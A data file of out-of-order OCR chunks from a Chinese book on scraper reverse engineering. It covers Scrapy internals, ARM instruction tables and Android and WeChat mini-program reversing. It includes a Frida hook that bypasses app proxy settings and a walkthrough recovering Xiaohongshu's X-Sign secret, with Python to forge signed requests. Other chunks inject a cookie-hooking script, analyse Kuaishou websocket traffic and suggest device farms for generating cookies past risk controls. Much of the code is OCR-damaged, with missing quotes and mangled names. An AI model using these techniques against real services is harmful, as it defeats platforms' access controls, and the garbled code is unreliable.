    {"text": "item_scraped： Scrapy. signals. item_scraped （item， response， spider） 当通过 Item Pipeline 后 （没有被丢弃 （dropped）， 发送该信号。 item_dropped： Scrapy. signals. item_dropped （item， exception， spider） 当通过 Item Pipeline 后， 有些 pipeline 抛出 DropItem 异常并丢弃 item 时， 发送该信号。 spider_closed： Scrapy. signals. spider_closed （spider， reason） 当某个 spider 被关闭时， 该信号被发送。"},
    {"text": "该信号可以用来释放每个 spider 在 spider_opened 时占用的资源。 spider_opened： Scrapy. signals. spider_opened （spider） 当 spider 开始爬取时发送该信号。 该信号一般用来分配 spider 的资源。 spider_idle： Scrapy. signals. spider_idle （spider） 当 spider 进入空闲 （ idle） 状 态时， 该 信 号 被发 送。"},
    {"text": "spider_error： Scrapy. signals. spider_error （failure， response， spider） 当 spider 的回调函数产生错误时 （例如抛出异常）， 该信号被发送。 request_scheduled： Scrapy. signals. request_scheduled （request， spider） 当引擎调度一个 Request 对象用于下载时， 该信号被发送。 . 1 3 爬虫逆向进阶实战 request_dropped： Scrapy. signals. request_dropped （request， spider） 当引擎计划稍后下载的请求被调度程序拒绝时发送。 response_received： Scrapy. signals. response_received （response， request， spider） 当引擎从 downloader 获取到一个新的 Response 时， 发送该信号。 response_downloaded： Scrapy. signals. response_downloaded （response， request， spider） 当一个 HTTPResponse 被下载时， 由 downloader 发送该信号。 在实际开发中的使用方法也很简单， 比如想在 spider 启动后进行一个提示， 那么在 extensions 扩展类中 要将 spider_opened 信号与提升函数关联起来， 这样 Scrapy 在初始化 spider 时， 会触发 spider_opened 信号。 from Scrapy import signals class spider_open(object): @ classmethod def from_crawler(cls, crawler): extend =cls() crawler.signals.connect(extend.spider_opened,signal=signals.spider_opened) return extend def spider_opened(self, spider): print( spider is opened! ) 2. 2. 3 Scrapy 异常 Scrapy 的异常捕获通常是通过中间件来实现的， 先了解一下 Scrapy 中内置的异常。"},
    {"text": "DropItem： exception Scrapy. exceptions. DropItem 该异常由 item pipeline 抛出， 用于停止处理 item。 CloseSpider： exception Scrapy. exceptions. CloseSpider （reason= cancelled ） 该异常由 spider 的回调函数 （callback） 抛出， 来暂停 / 停止 spider。 DontCloseSpider： exception Scrapy. exceptions. DontCloseSpider 该异常由 spider_idle 信号处理程序抛出， 不关闭 spider 操作。 IgnoreRequest： exception Scrapy. exceptions. IgnoreRequest 该异常由调度器 （Scheduler） 或其他下载中间件抛出， 声明忽略该 request。 NotConfigured： exception Scrapy. exceptions. NotConfigured 该异常通常由某些组件抛出， 声明其仍然保持关闭。"},
    {"text": "而关于请求和响应中的异常捕获， 需要自己导入一些异常类型在中间件的 process_exception 进行处 理， 比如添加上 TimeoutError、 DNSLookupError、 ConnectError、 TCPTimedOutError。"},
    {"text": "代码如下： from twisted.internet import defer from twisted.internet.error import * from twisted.web.client import ResponseFailed from Scrapy.core.downloader.handlers.http11 import TunnelError 1 4. 第 2 章 Python 爬虫技巧 class LxDownloadMiddleware(object): def _init_ ( self ) : self. ALL_EXCEPTIONS = ( defer. TimeoutError, TimeoutError, DNSLookupError, ConnectionRefusedError, ConnectionDone, ConnectError, ConnectionLost, TCPTimedOutError, ResponseFailed, IOError, TunnelError ) def process_request ( self, request, spider ) : ... def process_exception ( self, request, exception, spider ) : if isinstance ( exception, TimeoutError ) : return request elif isinstance ( exception, self. ALL_EXCEPTIONS ) : ... else: ... 2. 2. 4 Scrapy 去重 在 Scrapy 使用时接触到的去重可以分为请求去重和数据去重。"},
    {"text": "class BaseDupeFilter(object): @ classmethod def from_settings ( cls, settings ) : return cls ( ) def request_seen ( self, request ) : return False RFPDupeFilter 实现源码如下： class RFPDupeFilter(BaseDupeFilter): \"\"\"Request Fingerprint duplicates filter\"\"\" def _init_(self, path = None , debug = False ): self.file = None self.fingerprints = set() self.debug = debug if path: self.file = open(os.path.join(path, requests.seen ), a+ ) self.file.seek(0) self.fingerprints.update(x.rstrip() for x in self.file) . 1 5 爬虫逆向进阶实战 def request_seen(self, request): fp =self.request_fingerprint(request) if fp in self.fingerprints: return True self.fingerprints.add(fp) if self.file: self.file.write(fp + os.linesep) 默认情况下这个过滤器是自动启用的， 但是在 start_requests 中是关闭的， 也可以通过 dont_filter 参数 来控制启动。"},
    {"text": "那么在 Scrapy 中对数据进行去重的方法， 可以通过 Pipeline 来实现， 在 Pipeline 中创建一个 set 集合， 根据 set 的不重复性进行数据去重。 from Scrapy.exceptions import DropItem class DuplicatedPipeline(object): def _nit_ ( self ) : self. _set = set ( ) def process_item ( self, item, spider ) : name = item [ name ] if name in self. _set: raise DropItem ( Dupliccate:%s % item ) self. _set. add ( name ) return item 相对于这些去重过滤方法之外， 还有一些其他可用的方法， 比如使用 Scrapy-Redis 中的指纹过滤， 或 者自己构建一个布隆过滤中间件都是可以的。"},
    {"text": "2. 2. 5 Scrapy 部署 现在爬虫框架的部署有时不能直接丢到服务器上 “裸奔”， 那样会难以实现某些需求， 为了更完善地 进行调度和管理， 可以通过一些插件来进行部署。 现在比较常用的是 Scrapyd 和 Gerapy， 还有 Scrapy-web、 Scrapy-admin 这些基于 Scrapyd 接口开发的管理平台， Scrapyd 年久失修， 部署简单但是页面优化不太乐 观， 这里重点说一下 Gerapy。 Gerapy 是 Scrapyd 的进阶版， 基于 Django 框架的一个 Web 端爬虫部署， 在 Gerapy 上， 能更直观地查 看爬虫状态， 更方便地控制爬虫运行， 实时查看爬取结果， 实现主机统一管理， 如图 2- 4 所示。"},
    {"text": "Unknown 3. ARM 指令集 ARM 指令集是指计算机 ARM 操作指令系统， 笔者对 ARM 汇编语言的指令集进行了汇总， 以后分析 so 文件的时候， 看到的都是跳转指令。"},
    {"text": "ARM 处理器的指令集可以分为跳转指令、 数据处理指令、 程序状态寄存器 （PSR） 处理指令、 加载 / 存储指令、 协处理器指令和异常产生指令六大类。"},
    {"text": "表 6-5 跳转指令 指 令 简 介 B 无条件跳转 BL 带链接的无条件跳转 BX 带状态跳转， 更改指令集 BLX 带链接和状态切换的无条件跳转， 更改指令集 BXJ 跳转， 更改为 Jazelle TBB， TBH 跳转字节 表 6- 6 存储器和寄存器交互数据指令 (内存访问) 指 令 简 介 LDR 从存储器中加载数据到寄存器 LDR R8， [R9， #04] R8 为待加载数据的寄存器， 加载值为 R9+0x4 指向的存储单元 . 1 79 爬虫逆向进阶实战 (续) 指 令 简 介 STR 将寄存器的数据存储到存储器 Store STR R8， [R9， #04] 将 R8 寄存器的数据存到 R9+0x4 指向的存储单元 LDM 将存储器的数据加载到一个存储器列表 LDM R0， {R1-R3} 将 R0 指向的储存单元的数据依次加载到 R1、 R2、 R3 寄存器 STM 将一个寄存器列表的数据存储到指定的存储器 PUSH 将寄存器值推入堆栈 POP 将堆栈值推到寄存器 SWP 将寄存器与存储器之间的数据进行交换 SWP R1， R1 [R0] 将 R1 寄存器与 R0 指向的存储单元的内容进行交换 PLD 预载数据 RFE 从异常中返回 SRS 存储返回状态 LDREX 和 STREX 独占加载和存储寄存器 CLREX 独占清零， 清除执行处理器的局部记录: 有地址请求进行独占访问 表 6-7 数据传送指令 指 令 简 介 MOV 将立即数或寄存器的数据传送到目标寄存器 MOV R1， R0 将寄存器 R0 的值传送到寄存器 R1 MOV PC， R14 将寄存器 R14 的值传送到 PC， 常用于子程序返回 MOV R1， R0， LSL#3 将寄存器 R0 的值左移 3 位后， 传送到 R1 (即乘 8) MOVS PC， R14 将寄存器 R14 的值传送到 PC 中， 返回到调用代码并恢复标志位 MVN R0， #0 将立即数 0 取反， 传送到寄存器 R0 中， 完成后 R0 = -1 (有符号位取反) 表 6- 8 数据算术运算指令 指 令 简 介 ADD 加 SUB 减 MUL 乘 DIV 除 ADC 带进位的加法指令 SBC 带借位减法指令 AND 逻辑 “与” ASR 算术右移 RSB 反向减法 SBC 带进位减法 1 80 . 第 6 章 Android 逆向 (续) 指 令 简 介 RSC 带进位反向减法 (仅 ARM) SDIV 有符号除法 UDIV 无符号除法 QADD 有符号加法 QSUB 有符号减法 QDADD 加倍加法 SSAT 将有符号值饱和到有符号范围内 USAT 可将有符号值饱和到无符号范围内 表 6-9 数据逻辑运算指令 指 令 简 介 AND 与 ORR 或□ EOR 异或□ 移位 因为是二进制， 逻辑移位左移变大， 右移变小， 且按 2 的倍数进行 LSL 逻辑左移㊣□□ LSR 逻辑右移㊣□□ ROR 将 Rm 中的值向右循环移 RRX 可提供经右移一位后的寄存器中的值 表 6-10 比较指令 指 令 简 介 CMP 直接比较 CMP R0 #0 R0 寄存器中的值和 0 比较 CMN 负数比较指令 CMN R1， R0 将寄存器 R1 的值与寄存器 R0 的值相加， 并根据结果设置 CPSR 的标志位 CMN R1， #100 将寄存器 R1 的值与立即数 100 相加， 并根据结果设置 CPSR 的标志位 CBZ 比较， 为零则跳转 CBNZ 比较， 为非零则跳转 表 6-11 组合和分离指令 指 令 简 介 BFC 和 BFI 位域清零和位域插入 SBFX 和 UBFX 有符号或无符号位域提取 SXT、 SXTA、 UXT 和 UXTA 符号扩展或零扩展指令， 可选择进行加法运算 PKHBT 和 PKHTB 半字组合指令 . 1 81 爬虫逆向进阶实战 表 6-12 寄存器寻址方式 指 令 简 介 立即寻址 MOV R0， #1234 R0 = 0x1234 寄存器寻址 MOV R0， R1 R0 =R1 寄存器移位寻址 MOV R0， R1， LSL #2 R0 =R1∗4 寄存器间接寻址 LDR R0， [R1]； 将 R1 寄存器中的值作为地址， 取出值给 R0 寄存器间接寻址偏移寻址 LDR R0， [R1， #-4] 表 6-13 ThumbEE 指令 指 令 简 介 ENTERX， LEAVEX 将状态更改为 ThumbEE 或更改状态 ThumbEE CHKA (检查数组) 可比较两个寄存器中的无符号值 HB、 HBL、 HBLP、 HBP 处理程序跳转， 跳转到指定处理程序 SEL 根据 APSR GE 标记的状态， 从每个操作数中选择字节 REV、 REV16、 REVSH 和 RBIT 在字或半字内反转字节或位的顺序 表 6-14 其他指令 指 令 简 介 CPS 更改处理器状态 CPY 复制 DBG 调试 SWT 协处理器指令， 切换用户模式 DCB 伪指令: 分配一片连续的字节存储单元并用指定的数据初始化 BIC 位清零指令 BIC R0， R0， #%1011 该指令清除 R0 中的位 0、 1 和 3， 其余的位保持不变 BKPT 断点， 当指令到达某个特定地址处时， 使用此指令来检查系统状态 MRS 状态寄存器到通用寄存器的传送指令 MRS {cond} Rd， psr MSR 将通用寄存器状态寄存器 (PSR) 的传送指令 CPS 更改处理器状态 SMC 安全监控调用 SMC {cond} #immed_16 SETEND 设置 CPSR 中的端序位， 不影响其他位 NOP 进行填充来使当前位置与指定的边界对齐 SEV 设置事件 WFE | WFI | YIELD 等待事件， 等待中断， 通知 WFI WFI 会暂时将执行中断挂起， 直至发生 IRQ 后 YIELD YIELD 可告知硬件有线程正在执行任务， 例如可换出的自旋锁 1 82 . 第 6 章 Android 逆向 (续) 指 令 简 介 DBG 调试提示可向调试系统及其相关系统发送提示 DMB 数据内存屏障可作为内存屏障使用 DSB 数据同步屏障是一种特殊类型的内存屏障 ISB 指令同步屏障 MAR 指令可将 RdLo 中的值复制到 Acc 的位 [31: 0] 中， 还会将 RdHi 的最 MAR 低有效字节复制到 Acc 的位 [39: 32] 中。"},
    {"text": "MAR {cond} Acc， RdLo， RdHi MRA {cond} RdLo， RdHi， Acc 可进行以下操作: 将 Acc 的 [31: 0] 位 MRA 复制到 RdLo 6. 1. 5 Android 应用启动过程 在 App 应用启动之前， 需要先说一下 Android 系统的启动， Android 系统在启动时， 第一个启动的进 程就是 init 进程， init 进程根据读取 / init. rc 文件中的配置创建并启动 App_process 进程， 也就是 Zygote （孵化器） 进程。"},
    {"text": "接下来看一下 Android 应用的具体启动过程， 大家的手机屏幕是一个 Activity， 也叫作 Launcher。 Android 应用一般是通过触发来产生启动条件， Launcher 进程可以接收事件并通知 AMS， AMS 收到消息后， 会创建 Taks 启动指定的 Activity， 此时 AMS 会和 Zygote 进行通信， 去 Fork 一个实例来执行应用。 笔者这里只是简单概括了一下， 过程描述得比较简单， 另外 App 启动方式也有很多种。"},
    {"text": "6. 1. 6 逆向通用分析步骤 爬虫开发逆向中通常需要分析接口中的加密参数， 通用的分析步骤如下： （1） 抓包， 分析接口确定加密参数或者关键词。"},
    {"text": "（4） 分析源码， 根据特征 （字符串、 常量、 包名类名方法名、 manifest 文件、 布局文件等方式） 或其 他调试手段定位到关键代码。 （5） 分析代码中的变量含义类型、 函数逻辑、 模块流程。"},
    {"text": "Unknown 1. 逆向功能 MT 在打开后是一个双窗口模式， 左上角有一个菜单栏， 右上角有一个工具栏。 想要快速添加一个 APK， 可以单击菜 单栏的 “安装包提取”， 笔者随便选了一个 APK 来进行演 示， 如图 6-31 所示。 ·图 6-30 1 96 . 第 6 章 Android 逆向 选择一个 APK 后， 会在 MT 的窗口下复制一个相同的 APK 文件。 此时可以查看 MT 管理器具体的逆 向功能。 双击 APK 文件， 可以查看 APK 信息， 包括版本号、 数据目录、 APK 路径、 UID 等信息， 如图 6-32 所示。 ·图 6-31 ·图 6-32 另外单击 “功能” 后， 还有 APK 签名、 APK 优化、 APK 共存、 去除签名校验、 XML 翻译模式、 RES 反资源混淆等功能。 单击 “查看” 后， 可以看到 APK 内部的文件信息， 包括 Dex、 arsc、 xml、 META-INF、 res 等， 然后 长按 Dex 文件， 选择 “打开方式”， 可以看到多种文件打开方式， 如图 6-33 所示。 选择 Dex 编辑， 出现了 Dex 编辑器++、 Dex 编辑器、 Dex 修复、 Dex2Jar 和翻译模式， 这些功能的具 体作用就不再详细介绍了。 通过 Dex 编辑器打开 Dex 文件， 即可查看所有类名， 如图 6-34 所示。 通过 Dex 编辑器可以在找到关键代码后， 对其进行修改。 比如某些 App 无法抓包， 需要修改特定参 数类型才能抓包， 此时可以直接修改 Dex 代码。 Unknown 6. 8 Android 群控和云机 本节内容对 Android 群控和云机做一个简单的介绍， 内容中没有太多技术性的东西， 大家平时可能接 触到的也不多， 所以了解一下扩充知识面就好。 6. 8. 1 Android 群控 Android 群控是指通过一台主机批量无线操控成百上千台的 Android 设备， 市面上群控系统大都需要 付费才能体验。 目前免费开源且跨平台的群控项目有 Scrcpy， 它不需要 Root 权限， 也不需要在手机上安 装， 但是仅以命令行方式操作。 后来也有很多人开发了 Scrcpy 的 GUI 版本， 比如 QtScrcpy 和 Scrcpy-gui。 群控这块大家可能接触的机会比较少， 毕竟成本很大并且做采集的话效率也不够高， 但是在某些场 景还是很重要的， 比如协议难以突破或者风控检测严格， 需要批量生成 Cookie 或者设备信息时， 通过真 机能起到很好的效果， 所以笔者简单介绍一下 QtScrcpy。 Gitbub 地址： https： / / Github. com/ barry-ran/ QtScrcpy . 2 49 爬虫逆向进阶实战 到 Github 中的 releases 可以直接下载最新版本的软件， 下载之后即可运行， 软件界面干净简洁， 各部 分功能也很清晰， 如图 6-100 所示。 ·图 6-100 通过 Wi-Fi 或者 USB 连接后， 主机会显示出当前手机的窗口， 此时就可以进行设备控制、 脚本录制 等操作了， 如图 6-101 所示。 ·图 6-101 2 50 . 第 6 章 Android 逆向 QtScrcpy 单个应用程序最多支持 16 个 Android 设备同时连接， 由于笔者中并没有很多同款移动设备， 所以更多操作就不再演示和讲解了。 6. 8. 2 Android 云机 云手机 （Cloudphone） 是通过云服务器实现云服务的手机。 目前云手机都是 Android 操作系统， 这类 手机凭借自带的系统以及厂商架设的网络终端可以通过网络实现众多的功能， 常用于群控、 测试、 游戏 等， 如图 6-102 所示。 ·图 6-102 逆向中使用云手机基本上是为了更好地分析 Android 应用或者通过云服务的特性做一些事情， 因为大 部分厂家都提供了云机配套的代理 IP、 虚拟定位、 一键改机等服务， 有的厂家也提供了配套的 Xposed 框架。 . 2 51 小程序逆向 本书中的小程序是指微信小程序， 小程序提供了一个简单、 高效的应用开发框架和丰富的组件及 Api， 帮 助开发者在微信中开发具有原生 App 体验的服务。 现在很多应用都在小程序上做了备份， 比如微博、 知乎、 小 红书等。 在 App 采集难度相对较高的时候， 就可以转战小程序， 根据小程序的接口进行逆向和分析。 小程序的 主 要 开 发 语 言 是 JavaScript， 代码结构、 目录、 文件与 HTML 类似， 小程序中也有类 似 WXML、 WXSS 等模板和样式文件。 小程序的开发同普通的网页开发相比有很大的相似性。 网页开发者需 要面对的环境是各式各样的浏览器， PC 端需要面对 IE、 Chrome、 QQ 浏览器等， 在移动端需要面对 Safari、 Chrome， 以及 iOS、 Android 系统中的各式 WebView。 而小程序开发过程中需要面对的是两大操作 系统 iOS 和 Android 的微信客户端， 以及用于辅助开发的小程序开发者工具。 具体的架构体系大家可以参考微信的小程序开发者文档， 自己下载开发者工具来亲自体验一下， 这 里就不再多讲了。 大家必须了解这些， 才能知道如何入手和读懂小程序代码， 进而进一步定位和提取关 键逻辑。 文档地址： https： / / developers. weixin. qq. com / miniprogram / dev / framework /"},
    {"text": "Unknown 8. 2 不走代理 本节内容说一下 NoProxy （不走代理的 App） 抓包问题， 这种情况是在使用代理之后抓包工具并未捕 获到数据， 而且不论是开启还是关闭时， 都不影响 App 正常的数据加载。 如果源码的网络请求接口部分 有 NO_PROXY， 那么更能说明问题， 因为 Android 系统设置的代理并不是强制对所有 App 生效的， App 可 以在网络请求类库中通过自定义代理设置， 选择是否要走系统代理。 现象： charles 抓不到包， 但 Wireshark、 HttpAnalyzor 可以抓到包。 此时可以使用 postern、 drony 将移动设备的请求直接转发到抓包软件， 相当于抓 Android 系统的包。 postern、 drony 在之前的章节中均有使用案例， 所以这里不再赘述。 当然也可以从源码上进行处理， 比如使用 Frida 去 Hook 设置代理的函数。 function hookProxy () { Java.perform(function () { let URL = Java.use(\"java.net.URL\"); URL. openConnection. overload (\" java. net. Proxy \"). implementation = function (arg1) { return this .openConnection(); } let Builer = Java.use(\"okhttp3.OkHttpClient $ Builder\"); let newBuilder = Builer.$ new(); Builer.proxy .overload(\"java.net.Proxy\").implementation = function (arg1) { . 2 67 爬虫逆向进阶实战 return newBuilder; } } ); } Unknown 7. 3 小程序逆向分析案例 本节案例内容是对某 App 小程序的 x-sign 参数进行分析。 可能会涉及一些安全问题， 所以如何提取 小程序的 pkg 及反编译过程就不再说了， 大家自己动手提取一下。 直接对反编译出的源码进行分析。 pkg 包和 Js 文件可以在代码库中下载， 如图 7-13 所示。 ·图 7-13 首先是参数定位， 通过开发者工具查询关键词， 找到了一个包含 X-Sign 的 Js 文件， 这里直接分析该 文件， 笔者将文件内容复制到了本地的 IDE 中。 搜索 X-Sign 找到了 DEFAULT_SIGN_HEADER = X-Sign， 如图 7-14 所示。 继续搜索 DEFAULT_SIGN_HEADER， 发现了 header [ _feApiSign. DEFAULT_SIGN_HEADER] = （0， _feApiSign. encryptFeApiToken） （feApiConfig）， 如图 7-15 所示。 也就是说 header 中的 X-Sign = （0， _feApiSign. encryptFeApiToken） （feApiConfig）； 在 Js 中， （0， function） 这种表达式可看作 （true && function） 或 （0 ？ 0： function）， 可以让 function 在全局执行， 后面的括号是存放函数的参数。 . 2 59 爬虫逆向进阶实战 ·图 7-14 ·图 7-15 继续查看 encryptFeApiToken 方法， 如图 7-16 所示。 ·图 7-16 发现只有一处有返回值， 直接查看 return 的地方， version+ （0， _md2. default） （ url+queryString+SECRET_KEY）。 URL 是接口地址， queryString 是请求参数， SECRET_KEY 是\"WSUDD\" ， 因为在 version= = = DEFAULT _SIGN_VERSION 才会执行， 所以 version 就是\" X\" ， _md2 是引入的 MD5 方法， 如图 7-17 所示。 ·图 7-17 2 60 . 第 7 章 小程序逆向 那么这一块便是生成 X-Sign 的位置了， 定位到了之后， 接下来分析具体的参数生成逻辑。 上面根据： version+ （0， _md2. default） （url+queryString+SECRET_KEY） 已经知道 X-Sign 是由\" X\" + MD5 后的 url+params+\" WSUDD\" 。 再看一下 encryptFeApiToken 方 法 中 的 url = url. slice （ url. inDexOf （ DEFAULT _ SIGN _ Api _ PATH）， url. length）； 定值 DEFAULT_SIGN_Api_PATH = / fe_Api / 意思是在 URL 中找到 / fe_Api / 出现的位置， 然后 slice 去截取该段字符串， 等于去掉了 / fe_Api / 之前 的字符。 而 queryString 是把请求的参数拼接成字符串， 如图 7-18 所示。 ·图 7-18 所以整体逻辑如下： 当收到请求 URL 为 https： / / www. xiaohongshu. com/ fe_Api/ burdock/ weixin/ v2/ notes/ 61238b740000000021037d94/ comments？ 时， 请求参数为： {\" pageSize\" ： 10，\" endId\" ： 0} 则先把 URL 转成 / fe_Api / burdock / weixin / v2 / notes / 61238b740000000021037d94 / comments？ 然后把参数转成 pageSize = 10&endId = 0， 再和 WSUDD 一块进行拼接。 最后把拼接的字符串 MD5 加密， 然后加上字符 X 即可。 最终的 X-Sign 是： X+MD5 （\" / fe_Api / burdock / weixin / v2 / notes / 61238b740000000021037d94 / comments？ pageSize = 10&endId= 0\" ） 可以用在线网站生成 MD5 结果和抓到的包进行对比， 发现结果一致， 接下来可以进行代码还原了。 用 Python 代码进行还原： import requests,hashlib def m_md5(data:str): m = hashlib.md5() m.update(data.encode()) return m.hexdigest() def get_comments(note_id,endId = ,authorization = ): . 2 61 爬虫逆向进阶实战 headers[ authorization ] = authorization URI = f /fe_Api/burdock/weixin/v2/notes/{note_id }/comments? pageSize=10&endId={endId } xsign = X + m_md5(URI + \"WSUDD\") headers[ x-sign ] = xsign return gets(URI) def gets(url_path): base_url = https://www.xiaohongshu.com data = requests.get(base_url+url_path, headers=headers,verify=False ).json() return data if _name_ = = _main_ : headers = { Host : www.xiaohongshu.com , device-fingerprint : 抓包替换 , user-agent : 抓包替换 , content-type : Application/json } # authorization:抓包小红书小程序的 authorization 替换 print(get_comments( 61238b740000000021037d94 ,authorization= )) authorization 需要抓包获得， 如图 7-19 所示。 ·图 7-19 本节案例到此结束了， 小程序逆向和 Js 逆向相似， 所以按照正常的分析流程来做就好。"},
    {"text": "Unknown 2. webSocket 弹幕分析 本小节的案例是对快手弹幕 webSocket 接口的简单分析。 在快手网站上查看弹幕需要登录， 登录后通过控制台抓包， 可以看到接口： wss： / / live-ws-pg-group3. kuaishou. com/ webSocket 而发送 的 数 据 默 认 是 Hex 格 式 显 示， 单击 “Hex Viewer” 命令可以切换显示格 式， 如图 3-99 所示。 此时并不知道发送的是什么内容， 但 想要模拟连接， 需要知道客户端具体的发 送内容。 将 message 以 utf-8 的格式复制出后， 正 是 上 图 右 侧 的 . . . / deGA4dyPk2xnB. . . +Wy1lxhNbH. . . +0AeTXz. . . 。 按照+号进行分 割， 分别进行全局搜索， 如图 3-100 所示。 可以发现第一部分是经过 POST 请求返 回来的 token， 然后是 stream_id 和 page_id。 stream_id 在页面的 html 中， page_id 经过搜 ·图 3-99 索得知是随机的 16 位字符+时间戳。 9 4. 第 3 章 Web Js 逆向 ·图 3-100 接下来要构造完成的 send 内容， 字符串开头的内容也需要构造， 就是 Hex Viewer 中第一行的 16 进制 的 08C8、 011a、 dc01、 0aac、 012f、 6465、 4741、 3464。 将这些参数转成 16 进制和第一行内容进行拼接， 就构造出了完整的 message 内容， 接下来即可完成 webSocket 连接。 而服务端发送回来的数据也是经过加密的， 需要进行解密。 单击面板上 Message 右侧的 Initiator 堆栈 调试， 进入 Js 文件中全局搜索 onmessage， 发现只有一处， 在此处断点调试， 如图 3-101 所示。 ·图 3-101 经过调试， 在 10185 行找到 16 进制相关处理， 比较符合解码的逻辑， 所以继续断点调试， 如图 3-102 所示。 ·图 3-102 . 9 5 爬虫逆向进阶实战 果然跳到了 VM 中， 此处遍是对数据的解码过程， 如图 3-103 所示。 ·图 3-103 分析到这里就结束了， 本节内容主要是教大家如何分析 webSoket 协议传输的数据， 具体的代码还原 部分就不贴在这里了， 后续会上传到本书代码库中。 3. 10. 2 Protobuf 协议 数据通信协议也是非常重要的， 本节内容讲解目前被应用广泛的 Protobuf 协议。 Protobuf 是和 json、 xml 类似的数据通信协议， 它提供了高效率的序列化和反序列化机制， 序列化就是把对象转换成二进制数 据发送给服务端， 反序列化就是将收到的二进制数据转换成对应的对象。 据说在传输速度方面 Protobuf 是 Json 的 3～10 倍， 是 xml 的 20～100 倍。 很多网站和 App 都采用了 Protobuf 来加速数据传输， 比如某 App 的推荐流、 直播数据流和一些 App 的直播间请求。 本节中笔者挑出部分简单易上手的案例， 带大家了解和掌握 Protobuf 协议的处理方式。 Unknown 7. 4 Windows 小程序逆向 之前分析的是 Android 应用小程序， 提取 pkg 过程比较烦琐， 还需要有 Root 权限。 而在 Windows 版微 2 62 . 第 7 章 小程序逆向 信中也可以提取小程序包， 并能通过反编译获取小程序的 wxpkg。 所以当大家没有 Root 设备时， 可以通 过 Windows 提取小程序 wxpkg。 需要注意 Windows 小程序的 pkg 是加密的， 需要通过工具解密后， 才能正常反编译。 7. 4. 1 确定包位置 首先需要确定小程序包的生成位置， 一般默认在\" 计算机 \\文档 \\WeChat Files \\Applet\" 目录中， 当加载 小程序后， 图中以 wx 开头的文件既是生成的小程序包， 如图 7-20 所示。 ·图 7-20 如果该目录中未生成， 那么在微信设置中查看文件默认保存位置， 如图 7-21 所示。 ·图 7-21 比如文件位置在\" E： \\WeChat \\WeChat Files\" ， 那么 Applet 在此目录下， 同样以 wx 开头的文件即是生 成的小程序包， 如图 7-22 所示。 ·图 7-22 . 2 63 爬虫逆向进阶实战 7. 4. 2 提取 wxpkg 当打开一个新的小程序时， 在 Applet 中会多出一个文件夹。 其中_APP _. wxapkg 文件就是要处理的 wxpkg， 如图 7-23 所示。 ·图 7-23 由于 Windows 小程序包是加密的， 所以需要使用软件 UnpackMiniApp 进行解密。 解密时不要修改_ APP_. wxapkg 的路径， 否则会导致签名异常。 等待解密完成之后， 生成的文件在软件的 wxpack 目录中， 如图 7-24 所示。 ·图 7-24 接下来使用反编译工具 CrackMinApp 进行 wxpkg 反编译。 如果软件未生成源码， 则需要参考 7. 1. 2 反 编译案例， 手动执行 wuwxapkg. js 反编译， 如图 7-25 所示。 ·图 7-25 2 64 . 第 7 章 小程序逆向 反编译后的源码在软件 CrackMinApp 的 wxapkg 目录中， 如图 7-26 所示。 ·图 7-26 此时可使用微信开发者工具导入项目分析源码。 一般情况下反编译出的源码会缺失环境或者配置文 件， 在不影响分析的情况下， 可以自行补充和修改。 微信小程序的逆向讲解就到这里了， 当大家遇到难以完成的任务时， 不妨看一看有没有小程序端， 灵活使用工具和变更分析思路是提高逆向开发效率的重要技巧。 另外除了微信小程序外， 百度小程序、 支付宝小程序等都可以通过相同的思路进行分析。 . 2 65 抓包技巧汇总 因为在对 App 进行抓包时， 会遇到很多抓不到包的场景， 此时可能需要多种工具的配合， 所以笔者 把本章内容放在了 Android 逆向章节的后面。"},
    {"text": "3. 3. 1 巧用搜索 搜索操作比较简单， 打开控制台， 通过快捷键 Ctrl + F 打开搜索框。 在 Network 中的不同位置使用 Ctrl+F会打开不同的搜索区域， 有全局搜索、 页面搜索， 如图 3-13 所示。 另外关于搜索也是有一定技巧的， 如果加密参数的关键词是 signature， 可以直接全局搜索 signature， 搜索不到可以尝试搜索 sign 或者搜索接口名。"},
    {"text": ". 4 1 爬虫逆向进阶实战 ·图 3-13 3. 3. 2 堆栈调试 控制台的 Initiator 堆栈调试是笔者最喜欢 的调试方式之一， 不过新版本的谷歌浏览器才 有， 如果没有 Initiator， 记得更新 chrome 版本。"},
    {"text": "具体使用方式是先确定请求接口， 然后进 入 Initiator， 单 击 第 一 个 Request call stack 参 数， 进入 Js 文件后， 在跳转行上打上断点， 然 后刷新页面等待调试， 如图 3-14 所示。"},
    {"text": "·图 3-14 3. 3. 3 控制台调试 控制台的 Console 中可以由 console. log（）方法来执行某些函数， 该方法对于开发调试很有帮助， 有时 通过输出会比找起来更便捷。"},
    {"text": "3. 3. 4 监听 XHR XHR 是 XMLHttpRequest 的 简 称， 通 过 监 听 XHR 的断点， 可以匹配 URL 中 params 参数的触发 点和调用堆栈， 另外 post 请求中 From Data 的参数 也可以用 XHR 来拦截。"},
    {"text": "有的时候找不到参 数位置， 但是知道它的触发条件， 此时可以使用事件 监听器进行断点， 在 Sources 中有 DOM BREAKpoints、 Global Listeners、 Event Listener Breakpoints， 都可以进行 DOM 事件监听， 如图 3-16 所示。 比如需要对 Canvas 进行断点， 就在 Event Listener Breakpoints 中选择 Canvas， 勾选 Create canvas context 时 就是对创建 canvas 时的事件进行了断点。"},
    {"text": "·图 3-17 3. 3. 7 注入和 Hook 在 Js 中也需要用到 Hook 技术， 例如当想分析某个 cookie 是如何生成时， 如果想通过直接从代码里搜 索该 cookie 的名称来找到生成逻辑， 可能会需要审核非常多的代码。"},
    {"text": "本小节内容以浏览器扩展程序为主要讲解内容， 来通过注入脚本实现加密参数定位。 比如下面这段 Js 代码， 可以来定位 cookie 中的参数位置： var code = function (){ var org = document.cookie._lookupSetter_( cookie ); document._defineSetter_(\"cookie\",function (cookie){ if (cookie.inDexOf( 参数名 )>-1){ . 4 3 爬虫逆向进阶实战 debugger ; } org = cookie; }); document._defineGetter_(\"cookie\",function (){return org;}); } var script = document.createElement( script ); script.textContent = ( + code + )() ; (document.head ||document.documentElement).AppendChild(script); script.parentNode.removeChild(script); 用谷歌或者 360 浏览器可以添加一些扩展程序， 也就是一些自定义的 Js 脚本文件， 方法和添加代码 片比较相似， 但是使用起来会更便 捷高效。"},
    {"text": "这里笔者给出了自己之前 编写的 chrome 插件， 下载地址为： https： / / download. csdn. net/ download/ weixin_43582101/ 16060114 下载完成后， 解压到本地。 打 开 chrome 浏 览 器， 单 击 界 面 右 上 角的一排竖点。"},
    {"text": "·图 3-18 ·图 3-19 接下来需要先添加扩展程序， 单击加载已解压的扩展程序， 选择之前下载的文 件 夹， 如 图 3-20 所示。 添加成功后， 可以单击扩展程序右下角的开关启动扩展程序， 如图 3-21 所示。"},
